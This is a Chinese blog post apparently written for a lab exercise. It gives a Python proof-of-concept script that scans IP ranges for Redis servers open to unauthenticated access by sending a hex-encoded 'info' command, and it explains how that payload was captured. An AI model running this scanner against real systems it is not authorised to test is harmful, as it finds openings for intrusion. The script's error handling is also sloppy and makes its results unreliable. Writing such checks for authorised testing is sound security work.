Redis未授权访问漏洞验证脚本编写(POC)

7 篇文章 0 订阅
3 篇文章 0 订阅

Redis未授权访问漏洞验证脚本编写(POC)

1.实验环境:

Ubuntu18(靶机)
kali linux(攻击机)

2.代码的编写:


import sys
import getopt
import socket

def url_exec(url):#将要探测的主机地址都存入一个待测数组内
    ans = []
    group = []
    li = url.split(".")
    if (url.find('-') == -1):
        group.append(url)
        ans = group
    else:
        ans = url_list(li)
    return ans

def url_list(li):#如果带探测的ip地址是一个范围的话那么就放到这个函数中去执行
    ss = []
    i = 0
    j = 0
    ans = []
    for s in li:
        a = s.find('-')
        i = i + 1
        if a != -1:
            ss = s.rsplit("-")
            j = i
            break
    for s in range(int(ss[0]), int(ss[1]) + 1):
        li[j - 1] = str(s)
        aa = ".".join(li)
        ans.append(aa)
    return ans

def redis_unauthorized(url, port):#实际进行漏洞验证的脚本
    result = []
    s = socket.socket()
    payload = "\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a"#这个pyload是什么后面细说
    socket.setdefaulttimeout(10)
    for ip in url:
        try:
            s.connect((ip, int(port)))
            s.sendall(payload.encode())
            recvdata = s.recv(1024).decode()
            print(str(recvdata))
            if recvdata and 'redis_version' in recvdata:#用关键字进行检测漏洞
                result.append(str(ip) + ':' + str(port) + '     ' + 'succeed')
        except:
            pass
            result.append(str(ip) + ':' + str(port) + '     ' + 'failed')
    s.close()
    return result

def start(argv):#对脚本的传参进行判断
    url = ""
    type = "Redis"
    if len(sys.argv) < 2:
        print("-h 打印帮助信息;\n")
        sys.exit()
    try:
        banner()
        opts, argv = getopt.getopt(argv, "-u:-p:-h")
    except getopt.GetoptError:
        print("Error an argument!")
        sys.exit()
    for opt, arg in opts:
        if opt == '-u':
            url = arg
        elif opt == '-p':
            port = arg
        elif opt == '-h':
            usage()
    launcher(url, type, port)

def launcher(url,type,port):#脚本启动函数
    #未授权访问类型
    if type == "Redis":
        output = redis_unauthorized(url_exec(url),port)
        output_exec(output,type)

def banner():#作者的banner信息
    print("         #############################################")
    print("                         THE AUTHOR FUNCI")
    print("         #############################################")

def usage():#使用手册
    print("-h : 帮助")
    print("-u : 域名")
    print("-p : 端口")
    sys.exit()

def output_exec(output,type):#输出规范
    print("\033[1;32;40m" + type + "......\033[0m")
    print("++++++++++++++++++++++++++++++++++++++++++++++++")
    print("|         ip         |    port   |     status  |")
    for li in output:
        print("+-----------------+-----------+--------------+")
        print("|   " + li.replace(":", "   |    ") + "  | ")
    print("+----------------+------------+---------------+\n")
    print("[*] shutting down....")

if __name__ == '__main__':#主函数
    try:
        start(sys.argv[1:])
    except KeyboardInterrupt:
        print("interrupted by user, killing all thread.....")



3.脚本执行效果:

在这里插入图片描述
在这里插入图片描述
试验成功,具体的实验环境配置看上一个博客的漏洞攻击实验

4.Payload由来:

我们在验证某一个靶机的Redis服务是否有未授权访问漏洞的时候,会向该靶机传入info命令来查看是否可以拿到该服务的详细信息。所以,我们现在需要了解的就是,如果我们向靶机传入info命令的时候,客户机发出的数据包的内容究竟是什么。我们通过抓包的方式就可以获得这个内容:

*1
$4
info

这就是数据包的实际发送内容,我上面的是我转十六进制之后的结果,不转的话似乎也可以,大家可以试试。下面附上一个抓取info命令数据的详细步骤的博客。

https://blog.csdn.net/lonely_feather/article/details/88076174

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值